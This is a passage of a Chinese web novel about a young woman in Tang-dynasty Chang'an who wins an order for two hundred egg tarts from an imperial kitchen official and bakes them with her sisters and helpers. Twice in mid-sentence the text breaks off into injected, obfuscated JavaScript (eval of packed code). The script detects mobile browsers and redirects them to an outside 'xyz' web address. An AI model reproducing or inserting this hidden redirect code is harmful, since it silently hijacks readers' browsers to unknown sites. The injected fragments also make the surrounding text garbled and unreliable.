阿宁也甜甜地笑了,对崔时钰嚷道:“阿姊,这个妹妹也说太阳挞糕好吃呢!” 伍儿如遭雷劈,一口蛋挞停在嘴里,委委屈屈开口:“我……我不是妹妹……” “哦?”阿宁牵着娇娇扭头看他,“莫非你是姊姊?我今年六岁,你多大?” 崔时钰笑得快直不起腰了,方九娘看着她,也毫不介怀地笑:“我家伍儿生得白嫩,性子又安静,从小就被人误以为是小娘子,实是怪不得阿宁认错。” 话虽如此,崔时钰笑完了还是严肃认真地告诉妹妹:伍儿是小郎君,不是小娘子。 阿宁又仔细瞧了伍儿两眼,“哦哦,原来是伍儿弟弟,对不住,对不住。” 伍儿小声“嗯”一声,仿佛已经习惯了类似事件,继续低头啃蛋挞了。 阿宁也不知是惋惜伍儿是弟弟不是妹妹还是什么,总之对他很有兴趣,一直和小男孩搭话:“你今天用过中和汤没有?” “用了。” “你家的中和汤里面放了什么?” “牛、牛乳……” “……” 27. 接大订单 蛋挞吃完,众人又在崔家院子里待了片刻,聊了会天。 知道崔时钰过会子还要出门卖挞糕,不好打搅,没过多久,王五娘便带着娇娇、方九娘带着伍儿,各回各家了。 院子里便又只剩下崔家姐妹三人。 正摆弄着食盒里的蛋挞,崔时钰忽然闻到一阵酒香。 抬眼一看,柳七娘不知什么时候过来了,拎着青瓷酒壶倚在门框,“崔娘子中和安康。新酿的春酒,尝尝?” 饮春酒也是中和节不可或缺的一项习俗,春酒是祭祀句芒神的重要祭品,以当季新酿的粮食酒为基础,经过精心调配发酵而成。 崔时钰并不通酿酒之道,本没打算酿酒,没想到倒是有人给送来了——柳七娘来送春酒,还真是符合人设啊。 想着自个酒量还成,她当即回屋取了只瓷碗出来,接过酒壶倒了半盏,“可不能辜负了七娘的心意。” 清亮酒液甫一入喉,她顿时眼前一亮:初尝清冽如泉,回味却绵长甘甜,还有股子淡淡花香。 她好奇问道:“七娘,你莫不是在酒里添了什么花?” 柳七娘笑道:“傻娘子!外面这时候还没花开呢,是我往里添了些去岁酿的菊花酒。” 崔时钰恍然大悟:“原来如此,七娘好巧思。”说罢将碗中春酒一饮而尽,感觉身子都暖了起来。 这中和节过得真是太舒坦了。 嗅到酒香,阿锦从屋里跑了出来,她和柳七娘混得熟,不见外道:“我也要!” “那可不行。”柳七娘将酒壶高高举起,半开玩笑道,“小娘子,依你这个年纪,还是喝蔗浆为妙。” 崔时锦最不爱听别人说她年纪小,双臂抱胸,很不乐意地哼了一声。 柳七娘朝她笑笑:“生气啦?我这是为了你好嘛。” 崔时钰也对妹妹道:“等你及笄了再喝。”未成年可不能喝酒。 阿锦不听谁的话也不会不听她的话,当即点点头,再不提喝酒的事,转身清理炉灰去了。 看到这一幕,柳七娘哑然失笑,心想这小娘子倒是听阿姊的话,转头对崔时钰道:“你这几日没出摊,西市可热闹了。” 崔时钰正往食盒里码蛋挞,闻言头也不抬:“怎么,出什么事了?” “是了!”柳七娘一拍大腿,语气不忿起来,“这几日早市也来了个卖饼的,打的同样是酱香饼的名头,由我和九娘护着,倒是没让那人占了你的位置,但他后来支的摊子就离你原先的位置几步远,吆喝得那叫一个响亮,说什么‘祖传秘方,长安第一饼’,我呸!” 崔时钰手上动作一顿,复又接着做自己的事,淡定道:“这样么?” 风行草偃,众必效之,什么东西火了,必然会有效仿者。这本是符合市场规律的事,哪怕在千百年前的古代也不例外。 若是为着模仿者崩了心态,那便得不偿失了。 况且崔时钰心知她本就不算酱香饼的原创,所以,何必烦忧? 见她反应平淡,柳七娘噗嗤一声笑出声,“你倒是淡定,我就欣赏你这种性子。” 她又摆摆手:“放心,我与九娘一人买了一张那饼子,难吃得紧。那饼子是现烙出来的,硬得能砸狗,芝麻撒得倒是大方,可惜嚼着像啃树皮。酱也不成气候,和铺子里随处可见的寻常豆酱一个味儿,价格却贵上不少,不成不成!酱香饼,‘酱’才是第一位的嘛。” 崔时钰看着她笑了:“看来七娘不只会品酒,还是个会吃的,连我这酱香饼的精髓都道出来了,着实不一般。” 柳七娘得意道:“那是!话说回来,替你看了这几日摊,总得收点酬劳吧?” 边说边用目光直勾勾盯着篮中蛋挞。 崔时钰笑着将一盒子塞进她怀里:“够不够?” “哎哟,我只要两枚就行了!” * 午间,西市人潮如织。 今日是中和节的大日子,来买太阳糕的顾客比前两日更多,是以崔时钰将出摊时间提前到了中午,送走柳七娘,又给郭大郎、高老汉、蔡三郎、林冶工等人献生子后,便拎着食盒出来摆摊了。 这次她没带上两个妹妹——万一还有人上门祝贺中和安康,总得有人在家不是? 阿锦和阿宁都更希望对方留在家,为此还差点吵起来,崔时钰索性把俩人都留家里了,用四枚蛋挞才把她俩哄好。 她正低头给蛋挞包荷叶,忽听一道略显熟悉的娇脆嗓音从人群里传来:“崔娘子,你叫我好找!” 抬头望去,一位杏红雪肤的小娘子立在摊前,正是那日头戴帷帽前来买饼的年轻女郎。 袁四娘半是撒娇半是控诉:“你这几日怎得没出摊?我好不容易早起几次,全跑空了,还白白吃了些难啃的饼子!” “实在对不住小娘子。”崔时钰将自己没出摊的原因,即在家研究中和节太阳糕的做法告诉对方,又说,“这太阳挞糕的味道也很不错,小娘子要不要尝尝?” 好不容易逮到崔时钰,袁四娘怎会放过? “这是自然。” 她微微弯腰凑近蛋挞,眼神一亮:“好香!” 说罢又指着最上层那几只烤得金黄油亮的,“我要这几个酥皮最翘的。”竟一次性买了六枚。 崔时钰麻利地用干荷叶包好递过去,只见对方伸手接过,也不顾烫,轻轻咬了一口。 酥皮应声碎裂,她惊讶地轻呼一声,连忙用手帕接住簌簌落下的碎渣;再尝第二口时便学乖了,捧着蛋挞小口咬下,甜酥的挞皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687201|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与嫩滑香甜的蛋奶馅儿让她满足地眯起了眼。 尽管做足了准备,袁四娘还是被这太阳挞糕的好吃程度惊到了,“怎会如此好吃!” 小娘子咽下口中美味,眼睛亮晶晶的凝望手中蛋挞,“外酥里软,甜而不腻,崔娘子,你是怎么做出来的?真是太了不起了。” 崔时钰见她吃得欢喜,心里也愉悦,温声道:“小娘子喜欢便好。” 袁四娘又从袖中摸出个花样精致的荷包,从里面掏出一串铜钱,喜滋滋道:“崔娘子,再给我包十个!我带回去给……给我阿娘尝尝。” 与她的欢天喜地不同,站在街对角的珍馐署典事赵颐正愁眉不展。 他为这事儿已经发愁好多天了。 他们珍馐署本是光禄寺下属机构,主要负责供应宫廷各种珍稀食材,如陆产的榛、栗、脯、修,水产的鱼、盐、菱、芡等,除此之外,还会在祭祀、朝会、宴会等重大场合准备相应吃食。 中和节宴本是众多节宴中最好糊弄……哦不,最好布置的,然而王公贵族们嫌旧式太阳糕腻口且无新意,今年中和节非要吃些“新奇巧物”。 为着贵人们点名的“新奇巧物”,赵颐与署内其他官员研究了不下十种糕点点心,然而始终不能满意。 他们这些人都无法满意,那些嘴刁的贵人能满意吗? 眼看中和节已至,太阳糕却还没做出个所以然来,饧匠朱安便提出建议,到集市上找找灵感。 赵颐抱着死马当活马医的心态,也跟着来了,心里却没什么指望。 这种平平无奇的集市上能有什么好吃食! 沿着街道走了半晌,赵颐汗都走出来了,擦着汗对身旁的朱安抱怨,“这节骨眼去哪儿找……咦?” 朱安也:“咦?” 二人鼻翼同时翕动。 甜香混着牛乳香气破空而来,两人循着香气望过去,只见对面那金灿灿的“小太阳”在招牌下一闪一闪。 恰好前面的客人刚走,朱安心知机会难得,听了吆喝,一个箭步冲上前,很快掏出二十文钱买下两枚挞糕,和赵颐一人一枚。 他将挞糕掰开一分为二,甜香气味如有实质般漫了出来,酥皮簌簌落渣,掉了他满手,里头的嫩黄蛋芯却还在颤动。 他咬下一口,外酥里嫩,奶香浓郁,香甜可口——这味道便是在皇宫里都没尝过。 朱安猛地扭头,连声对赵颐道:“就是它!就是它!”语言功能都险些退化。 真是踏破铁鞋无觅处,得来全不费功夫啊! 赵颐也在体会口中的美妙滋味,他盯着那太阳挞糕上的点点糖斑,喉结滚动,压抑着激动的心情对崔时钰道:“小娘子,我这儿有个大单子——两百枚太阳挞糕可做得?” 28. 精打细算 崔时钰愣在原地眨了眨眼:二百枚蛋挞?! 这位郎君没有骗她,着实是笔大单!巨大的单! 其实方才瞧这二人在摊位前驻足说悄悄话时,崔时钰便多少猜到对方可能会订购,做了些心理准备,然而“二百枚”这个数目还是惊到她了——她原以为对方只会订个四五十枚来着。 她强压住要翘起的嘴角,面上不露分毫:“郎君既开了口,儿自然是做得的,只是不知郎君准备出价几何?” 赵颐与朱安对视一眼,显然心中已有打算,伸出两根手指:“二十贯。” 二十贯!这可比出摊卖一个月酱香饼赚得还多。 大订单就是好啊! 不过崔时钰并未立即答应,脆生生一笑,“承蒙郎君恩惠,但儿还有一问,做这二百枚挞糕所需要的牛乳、鸡子、酥油、白糖、面粉等等原材料钱,由谁来出?” 这些小细节可都得提前问好了,省得双方对帐时闹出什么不愉快。 闻言,赵颐的拇指在钱袋上重重蹭了蹭。 这是他头一次与宫外的人订做吃食,且方才问话时脑子一热,倒真没细想这些细节问题。 他回味着挞糕香甜不腻的滋味,细细思索:牛乳、鸡子、酥油、面粉这些食材加在一起,怕是又要多出四五贯钱。 好个精明小娘子! 罢了,谁让长安城独她一家能制出让他满意的太阳糕呢? “我出。”赵颐干脆道。 但崔时钰的要求并未就此结束,继续笑吟吟道:“那便多谢郎君了。只是儿做的是小生意,加上两个幼妹也不过只有三个人忙活,若要在一天内赶出二百枚挞糕,怕是时间来不及……” “我会为小娘子再寻两个帮手。” “多谢郎君,如此人手充足,便能忙活得过来了——只是儿家中只有一口土炉,怕是仍有些赶不及呢。” “那某便再为小娘子另寻两口炉子。” “还有盛挞糕的小盏,家里只有十几个……” 赵颐越听越无奈,朱安却是扑哧一声笑了出来。 这小娘子家里怎么什么都缺! 不过家伙事儿缺成这样,却还是能做出如此香甜可口的糕点……这女郎绝非池中物。 他与赵颐没找错人。 崔时钰这番狮子小开口着实很有一番原因: 面前这二位郎君,一微胖一瘦高,右边微胖这位以皂罗抹额束发,身穿一件褐麻短衫,外罩素布半臂,一看便知是在庖厨担任职务;再瞧左边瘦高这位,头戴平巾帻,身穿缺骻袍,腰悬鱼袋——当官之人! 联想此二人赶着中和节的档口来找她订做太阳糕……准是珍馐署的人没跑了。 既是宫里的人,那自然是不缺钱、不缺人、不缺工具,于是她便有所要求应提尽提了。 她这边提完要求,赵颐那边也开始了:“小娘子的要求既已提完,某这边也有个要求。” 他缓缓开口:“那二百枚太阳挞糕须得冷了也口感酥脆,不能软塌。” 担心他们商量时间太长蛋挞放凉,崔时钰正小心捏着一枚蛋挞放进保温食盒,闻言眉梢一挑:“冷了也酥?” 蛋挞这东西,趁热吃口感最佳,冷了便没那么酥了,要制出冷酥蛋挞需要多花好些心思,颇为费时。 但也并非不能完成。 见她沉吟着不做声,赵颐解释道:“小娘子应该看出来了,我二人也是替人办事,这二百枚太阳挞糕是在宴席上供贵人们食用的,需得提前备好,若现烤现上,灶火烟气冲了贵人,反倒不美。” 他又看向崔时钰面前的保温食盒:“小娘子的保温食盒虽做生意合适,但用于宴席难免会有不妥。食盒再保温,经手人多难免疏漏,若有一两盒失了温,酥皮回软,被贵人吃到,岂非不好?” “事出有因,并非是故意为难小娘子。” 一旁的胖郎君也跟着连连点头。 崔时钰倒没觉得对方在为难她,只是忍不住感叹对方的细心程度:既是宴席,太阳糕自然只是众多点心中的一道,对方却如此费心费力,真真是有心了。 宫里的官不好当啊。 其实还有个办法,那便是让她直接前往珍馐署的庖厨去烤蛋挞。 不过这个要求她可不敢轻易提出:宫内重地,想来不是随便什么人都能进的,贸然开口说不定还会让对方觉得自己存了什么别的心思,这方法只能不了了之了。 崔时钰笑笑:“儿明白,郎君莫要忧虑。这冷酥挞糕我也能做得。” 赵颐一愣:“当真?” 他此番也算是病急乱投医,竟随便从街上找了个不知底细的年轻女郎来做中和节宴上最重要的太阳糕……想想还真是忍不住为自己捏了把汗。 这女郎能做成吗?贵人们又是否会满意? 赵颐越想越觉得心中没底。 朱安似是知道他心中所想,朝他递来一个眼神,仿佛在说:“放心吧,咱们没选错人!” 崔时钰也说话了,她不卑不亢盯着自己第一位大单客户的眼睛,坚定道:“一言九鼎,郎君请放心。” 年轻女郎声音清越,掷地有声,无端令人安心。 不知怎么,赵颐突然想起儿时在一次庙会上见过的走索艺人,分明是纤纤女子踏在细绳上,偏叫看客都觉得比走石板路还稳当。 便如眼前女郎这般。 “好!”赵颐双掌一击,从腰间解下钱袋拍在案上,“定金交予小娘子,明日下午,某便来去二百枚太阳挞糕。” 崔时钰并未急着收钱,微笑道:“既如此,儿便接了这单生意,二百枚太阳挞糕,保准凉了也酥香。”说完又告诉对方取糕地址。 听崔时钰所住之地位于南坊最南端,赵颐并未有丝毫轻蔑神色,微微颔首:“某记下了。” 朱安也记下了,心想:这地方真是好记,一直往南走便是了。 告知完地址,崔时钰行了个叉手礼道:“还不知二位郎君贵姓。” 按理说,做生意,应最先问客人名姓,但许是这订单实在来得太快就像龙卷风,竟将这项放在了最末。 “某姓赵。”赵颐伸掌指向身旁的朱安,“这位……” 朱安扯了扯胳膊上的布巾笑道:“我姓朱。只是明日我还有事要做,到时便只有赵郎君一人去取糕了,小娘子莫要介意。” 心知对方多半是要做其他点心,崔时钰摇摇头:“不会。” “那便祝二位郎君一切顺意。”说完利落地收了定金。 这一笔生意便算敲定了。 送走赵、朱二人,崔时钰收了食盒,连家都没回一趟,马不停蹄揣着沉甸甸的钱袋前去采购。 眼下已过正午,明日下午赵郎君便要来取走二百枚蛋挞,加起来拢共只有一天多一点的时间,就算有帮手有工具,时间也很是紧张。 崔时钰估摸着,今天晚上她是别想好好睡觉了。 这二十贯钱可不是那么好赚的。 按照路线,她先拐进米粮铺子,见到了铺子店主。 米粮铺子店主姓胡,人长了一脸麻子,人送外号“胡麻子”,为人很有些抠门计较,但铺内的米面粮油品质都很好。若非如此,崔时钰也不会三番五次到他这儿来买东西。 胡麻子正指挥伙计搬运新到的胡麻油,见崔时钰来了,招呼道:“呀,崔娘子来得可巧,昨日刚到的胡麻新油,做点心最是酥香!来上一瓮?” 知道崔时钰近日的挞糕卖得红火,胡麻子特意缀上后面这句话,说完还有些得意:嘿嘿,崔娘子定会买好几瓮胡麻油回去! 然而崔时钰却对那几大罐香气浓郁的芝麻油兴趣缺缺: 芝麻油味道浓烈,会掩盖蛋挞的奶香与蛋香,不适宜用来做甜点;至于唐人们的另一种主要食用油菜籽油,香气虽没那么浓烈,但起酥性差,做出来的挞皮不够酥脆,口感偏硬。 从卖蛋挞第一日开始,她用的便是自己当初亲手熬的猪油,起酥效果极佳。 要不要在这儿买点猪油? 崔时钰对胡麻子道:“多谢胡郎君推荐,我先瞧瞧。” 说着来到猪油罐的售卖区域,随意挑了一坛,伸手掀开盖头,露出油罐里头凝如羊脂的雪白膏块。 其实打眼一看还成,脂膏油色纯净,但细看却不如她亲手熬制的那般透着光,指腹一捻,亦少了几分绵密如绸的触感。 若用这油起酥,怕是烤不出赵郎君夸赞的酥皮。 崔时钰不敢赌。 罢了,还是继续用家里头剩下的那罐吧。做二百枚蛋挞应该不成问题。 油不用买,但面粉是必不可少的,崔时钰大手一挥:“胡郎君,我要三十斤水磨细面粉。” 虽是称作细面粉,但精细程度还远远达不到她的要求,回家还得再细筛几次。 见她对自己大力推销的胡麻油不为所动,胡麻子原本还有些失望,但一听三十斤面粉顿时又乐开了花,连脸上的麻子都生动好几分:“好嘞!我记下了,三十斤水磨细面粉,崔娘子你就请好吧——面粉沉重,崔娘子可要我派人运送家中?” 想到自己一会儿还要再买不少东西,单凭手拿肯定不成,崔时钰便点头道:“有劳胡郎君。” 胡麻子嘿嘿笑了两声:“那这运送费……” 崔时钰就猜到他肯定没那么大方,懒得在这些细枝末节上费工夫,挥了挥手道:“记到面粉的账上。” “好嘞!” 崔时钰的下一个目的地是方九娘的酪肆。 方九娘的开在南坊北头,听方对方说,她一般早上去集市出摊卖新鲜牛乳,下午便回铺子做些乳酪、醍醐、乳粉之类的乳制品,夏天还会有酥山和蔗浆冰酪。 待去到酪肆就简单多了,自从卖蛋挞以来,崔时钰已和方九娘订过三次牛乳,对方早已将她的标准与要求记在心里,一见面便笑道 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和胡麻子形成了鲜明对比。 离开酪肆时日头已渐高,好在要买的物什只剩最后一样,崔时钰径直去肉行买了二百枚鸡蛋,搞老汉直笑得合不拢嘴。 ——如此,赵郎君提前付好的定金即成本费,也就七七八八花得差不多了。 满载而归,崔时钰慢悠悠从集市往家走,拨弄着剩下铜钱,盘算着方才买下来的食材应如何收拾。 突然,她脚步一顿。 只见在她从前出摊卖饼的那棵柳树左前方,一个占地面积颇大的摊子支在那儿,木牌上遒劲有力地写着“长安第一饼”,旁边还画了个红圈,生怕别人看不见似的。 崔时钰垫起脚瞅了两眼。 那饼摊前冷冷清清的,与堪称豪华的排场大不相符,只有个佝偻着背的老汉站在那儿啃饼,咬了两口,眉头皱得能夹死苍蝇,叹道:“唉,也不知那崔记酱香饼什么时候出摊!” “……”崔时钰感觉鼻子痒痒的,有点想打喷嚏。 她眯了眯眼,这应该就是柳七娘和她提过的“模仿者”了。 那摊主是个瘦削的年轻人,穿着灰扑扑的粗布短打,正低头揉着面团,动作倒是还算熟练。 似乎察觉到视线,他猛地抬头,恰好和崔时钰四目相对。 一瞬间,空气仿佛凝固了。 那人眼神闪烁了一下,接着便迅速低下头,假装专心擀面,面皮被他擀得一边厚一边薄。 崔时钰静静看了两秒,没说话,转身走了。 她的酱香饼,用的是精心调配的酱料,面团发酵的时辰、火候的掌控,还有上至炸鸡排下至萝卜丁等各种小料,都是她认真琢磨出来的。 旁人学个形似容易,但想要做出那种让人吃了就忘不掉的味道,可没那么简单。 她现在可是接了大单的人了,没必要把这种小事放在心上! 崔时钰轻声哼着小曲,脚步轻快地走回了家。 一刻钟后,夕阳彻底沉入了西山,崔时钰回到自家小院,推开门后,饶是有心理准备,眼前的景象还是让她忍不住咋了舌。 只见小小的院子里,左边垒着三十斤用麻布袋装着的面粉小山;二十斤牛乳被装进十个陶罐,整齐排列在右边廊下;最壮观的是那二百枚鸡蛋,分装在五个大竹筐里,真是叫公鸡看了沉默,母鸡看了流泪。 若再把庖厨案板上的那罐猪油拿来摆在旁边,便是酥皮蛋挞的前世今生了。 面对满院食材,两个妹妹也是大眼瞪大眼,就连一贯沉得住气的阿锦也有些傻眼,见崔时钰回来马上便问:“阿姊,这是?” 崔时钰笑着把两个妹妹拉过来,一边搂一个,“阿姊今儿个运气好,接了单大生意,有客人订了二百枚太阳挞糕,明日就过来取。” “二百枚!”虽说是个从没听过的数字,但瞧院内这般阵仗,阿宁便知“二百”一定是个天文数字。 她先是倒吸一口气,随后兴奋地跳了起来,“阿姊!我们要发财啦发财啦!” 阿锦却皱起小脸:“这么多挞糕,他们明日便要来取?时间也太赶了,阿姊会累坏的。” 崔时钰心中一暖,弯腰平视着两个妹妹:“无妨,那位郎君明日会派两个帮手过来帮咱们,还会带一些炉子和碗碟过来,我不会太累的。” 听了她的话,阿锦这才放下心来,脸上露出后知后觉的高兴神情。 这下真是发财了! 姐妹三人凑在一块儿乐了片刻便行动起来,收拾起做蛋挞的各种食材。 崔时钰给俩妹妹一人分了一个筛子,三个人站在院子里过筛面粉。 清新的麦香很快在院里漫开。 天已经黑了,今晚注定是个难眠之夜,但想到即将到手的二十贯银钱,姐妹三个笑得比天上的晚霞还灿烂。 29. 炸酱索饼 天刚蒙蒙亮,崔时钰睁眼从床上爬了起来,边刷牙边活动酸胀的手腕。 为着今儿个的大日子,她和两个妹妹昨晚忙了半夜,将所有面粉都揉成了面团,还备了酥油,两只手就没闲下来,现在手腕连着胳膊都微微酸胀。 好在今天就有帮手过来了。 念头刚转到这里,便听到“砰砰砰”的敲门声响——说曹操曹操这就到了! 崔时钰放下手头活计,连忙过去开门。 门打开,只见外面站着两个精壮汉子,脚边还摞着两个半人高的黄泥炉,炉膛还带着余温,显然是连夜烧制的;旁边还有一个装着数只碗盏的小推车。 那位赵郎君倒是有求必应,答应她的东西都带到了。 领头汉子叉手行礼:“娘子安好,小的阿泰,这是阿烁,赵典事遣我们来给娘子搭把手。” “有劳二位郎君。” 崔时钰也行了个叉手礼,侧身让这二人进来,还顺手帮拉了一把小推车。 家里许久没有过这样的喜庆事,听到动静,阿锦和阿宁也都跟打了鸡血似的激动,洗完漱便从屋里窜了出来,与阿泰阿烁二人见礼。 “阿泰兄好,阿烁兄好。” “小娘子们好。”阿泰朝她们一笑,又道:“昨日赵典事急调我们,说娘子要赶二百枚太阳糕,我们便早早地赶过来了,还望小娘子们莫要见怪。” 崔时钰见这二人行事稳当,也放下心来,点头道:“时间紧任务重,二位郎君,咱们开始吧。” 说罢便指挥阿泰将新炉砌好生火,又派阿烁去烧热院里的土炉,至于阿锦和阿宁,一个分糖一个搅蛋液,崔时钰自己则负责大头,将在地窖放了半夜的面团混了酥油擀成酥皮。 一时之间,各人各司其职,小小的院子里好不热闹。 这“蛋挞小分队”到底算是临时组建的,刚开始难免有衔接不畅之处,但很快便配合得越来越默契,一个时辰后,第一批蛋挞成功出炉。 阿烁小心翼翼将还热烫着的蛋挞从炉内一一取出,挞糕碰撞间,只听酥响如纸。 在珍馐署做事多年,他还是头一次见到这种新奇点心,特别是这点心还是在他的帮助下制成的,顿时成就感倍增,朝崔时钰欢喜道:“崔娘子,挞糕成了!” 他刚欢呼出声,就被崔时钰塞来一盘刚填完蛋液的蛋挞:“郎君莫停,到午时前可要烤足十炉呢。” 阿烁点点头,将她送来的半成品挞糕放进炉内,在一旁仔细地看着火。 另一头,阿宁分好了白糖正要给姐姐送去,转头看见鼻尖沾了面粉的阿泰,没忍住,扑哧一声笑了出来。 阿泰那汉子也不恼,摸了摸鼻子,也跟着小姑娘笑。 蛋挞的甜香混着众人忙碌的身影与欢声笑语,在小院里荡开。 崔时钰抹了把额上的汗水,看着眼前的景象,脸上不自觉地浮起笑容。 她已经好久没这么忙过了。 忙得很充实、很快乐。 挞皮酥脆难免落渣,掉在地上些许,香气四溢,引得一群鸟雀飞来啄食,又被捧着刚出炉的蛋挞跑过的阿锦惊飞。 盘子里头金黄酥香的蛋挞晃晃悠悠,随着阿锦动作,掠起一道甜香甜香的风。 不到未时,一百枚蛋挞已烤成,金黄金黄排列成行,煞是壮观。 阿泰瞧了一眼,最先出炉的那批挞糕已经半凉,依然形状不变,酥脆得和刚出炉时别无二致。 真是神了!都知道这种酥皮点心时间一长便会绵软,他还是头一回见到冷了也酥的。 这位崔娘子真乃神人也。 崔时钰不知道他在想什么,但做好冷酥蛋挞的关窍她却是门清: 先说酥皮,酥油要放地窖里降温,再放筛好的细面粉,面不能揉,得用刀翻叠,再一层皮、一层酥叠足层数——如此烤出的酥皮即使凉透也能层层分明,脆而不绵。 再说馅心,搅拌后的蛋液滤去筋膜,多添牛乳少放糖,这样馅心才能凝而不硬,冷食依旧滑嫩;火候也有讲究,先以猛火催酥皮膨起,再撤炭改文火慢烤。 经过这样几番操作制成的蛋挞,酥皮如金甲般长久酥脆,蛋芯却不塌不裂,轻轻一晃便会如奶冻般轻颤。 为了“冷了也酥”的要求,崔时钰这番也算是绞尽脑汁了。 还有比她更负责的乙方吗?她敢拍着胸脯保证,赵典事这二十贯钱真没白花。 正把一百枚蛋挞装着盒,刚才还被她念叨的赵典事就风尘仆仆地来了。 此时离两人约定的取挞时间还早,对方多半是为着瞧瞧进度,监工来的。 崔时钰表示理解,装好蛋挞,还如之前般招呼道:“赵郎君来得正好,阿泰阿烁与儿两个妹妹已忙活半天,正想着要做些吃食垫肚子,不知郎君今日午食可用过了?” 满院蛋香奶香甜香,赵颐一闻这味儿便知错不了,又看了一眼被他吩咐过的阿泰,两人不动声色对视一眼,一颗悬着的心终于放了下来,笑道:“今日节宴,正是忙碌之时,某也是抽空才来小娘子这里寻访一二,倒是还未曾用过午食。” 仿佛是为了印证自己所言不假,话音刚落,赵颐的肚子便咕地叫了一声。 “……”赵颐尴尬地摸了摸鼻子,心想,定是被这满屋甜香勾的。 说来也怪,他视察其余庖厨的时候,怎么没有这种腹中饥饿的感觉呢? 崔时钰自然听到了方才那声肚叫,那叫一个响,但她压压唇角假装没听见,丢下一句“赵郎君留下来与我们一同用午食吧”便进了庖厨。 赵颐也正有此意,好整以暇地在院里逛了起来。 庖厨内很快传来锅碗瓢盆碰撞的清脆之声,夹杂着几声“刺啦”的油炸声响,还有水烧开时咕嘟咕嘟的声音。 没过多久,浓郁的酱香味伴着崔时钰轻快的声音一同传出:“大家都歇一歇,来吃炸酱索饼了!” 辛苦劳动一上午,阿泰阿烁还有阿锦阿宁都已饥肠辘辘,闻言马上放下手中活计,一溜烟钻进了庖厨。 赵颐也跟着进去。 刚一进去,他就见阿泰阿烁两人正坐在桌边埋头吃面,那吃相堪称狼吞虎咽,五官都瞧不见了,酱汁子都险些从碗边飞出来。 赵颐:“……” 因是赶急单,做的又是中和节最重要的吃食太阳糕,他特意挑了素来性格沉稳、做事踏实的阿泰与阿烁,现下看来,这两个人好像也没有看上去那么稳重…… 这酱拌索饼真有这么好吃? 昨日回去之后,他便将崔时钰的家世调查得一清二楚,知道这位崔娘子头几年一直做的是女工活计,生意冷淡,前段时日突然在西市支了个饼摊,贩售的酱香饼大受好评,风靡长安城,他在珍馐署的同僚也有人吃过,称赞味道极好。 既是做的贩饼生意,家中自然是常备着酱,今日这顿酱拌索饼也算是省时省力了。 罢了,虽说讨巧了些,却也无可厚非。他就尝尝这位小娘子的手艺吧。 赵颐正这样想着,一碗盛得冒尖、红绿相间的炸酱索饼出现在眼前,年轻女郎轻快的声音跃入他的耳中:“赵郎君趁热吃。” 他低头看去,细白索饼上盖着油亮的炸酱,码着嫩黄瓜丝、萝卜片、一团脆生生的绿豆芽,边上还点缀着一把炸得酥脆的黄豆。酱香裹挟着菜蔬清香直往鼻子里钻。 赵颐不自觉地抽了抽鼻子,道了句“多谢小娘子”,用筷子将面条和炸酱搅拌均匀,还做着面子工程,只矜持地挑起几根。 入口瞬间便睁大双眼。 炸酱咸香中带着细微的甜,面条筋道弹牙,被酱汁包裹着滑吞进口中,炸过的黄豆又酥又香,再配上水灵灵的新鲜黄瓜丝和豆芽……哎哟,那叫一个香! 他细细咀嚼片刻,竟惊喜地在酱香浓郁的面条中寻到了大块大块炸得焦香的肉丁。 酱里有肉! 珍馐署那几个吃过酱香饼的同僚从未提过此事,看来这些肉丁是这位崔娘子为做午食新添的。 赵颐顿时为刚才自己方才觉得对方“讨巧”想法感到惭愧,为弥补般大力夸道:“小娘子这肉丁炸得妙极,火候掌握得极好,外焦里软,外头瞧着焦酥,咬开来竟还锁着肉汁。” 阿泰与阿烁都是糙汉子,没珍馐署典事这般舌灿莲花的本事,夸不出个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696862|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以然来,只一个劲儿地边嗦面边点头,连声道:“好吃,真香啊!” 阿锦和阿宁就比较淡定了,还有点小骄傲:没吃过这么好吃的索饼吧?我们两个可是天天都能吃到呢! 崔时钰被桌上这几个人的不同反应逗乐了,笑道:“几位郎君喜欢便好。” 那块五花是高老汉见她一次性买下二百颗鸡子赠予她的,她看一眼便觉得很适合用来做炸酱里的肉丁。 想着这几个人也算是客人,又忙活了大半天,时间有限,她没法做什么大菜来招待客人,但给他们添点肉吃还是没问题的。 瞧着阿烁碗里见空,崔时钰主动道:“小郎君要不要再添一碗?” 阿烁舔舔嘴唇,羞涩道:“要的,多谢小娘子了。” “小娘子给他添完也给我添一碗吧。”阿泰笑道。 赵颐见状也道:“小娘子……罢了,我自己去盛吧。” 阿泰和阿烁对视一眼,不约而同地笑起来。 一向严肃的赵典事,居然被一碗炸酱索饼收买了! 用完午食,赵颐便继续去别的地方监工了,剩下几人继续紧锣密鼓地赶制蛋挞。 过了申时,崔时钰终于把最后一只金黄油亮的蛋挞码进食盒。 她揉了揉酸痛的腰,痛并快乐着地瞧着面前的蛋挞大军:二百个金黄油亮的酥皮小挞齐齐排在食盒里,映着霞光,活像一盒盒金灿灿的元宝。 点过个数之后,阿泰声音满是喜悦:“终于成了!” 阿烁看着面前鼓着肚子的挞糕,声音飘忽:“我从未见过如此多的太阳糕。” 其实别说是她,就连崔时钰也很少见到如此庞大数量的蛋挞。 便在这时,院外忽然传来马蹄声,赵颐挟着风尘赶来。 许是宴席时间将近,他看上去已经不似午间那般悠闲,微肃着脸问崔时钰道:“崔娘子,挞糕可是成了?” “成了。”崔时钰取过第一列头一个食盒,掀开笼布,牛乳酥香扑面而来。 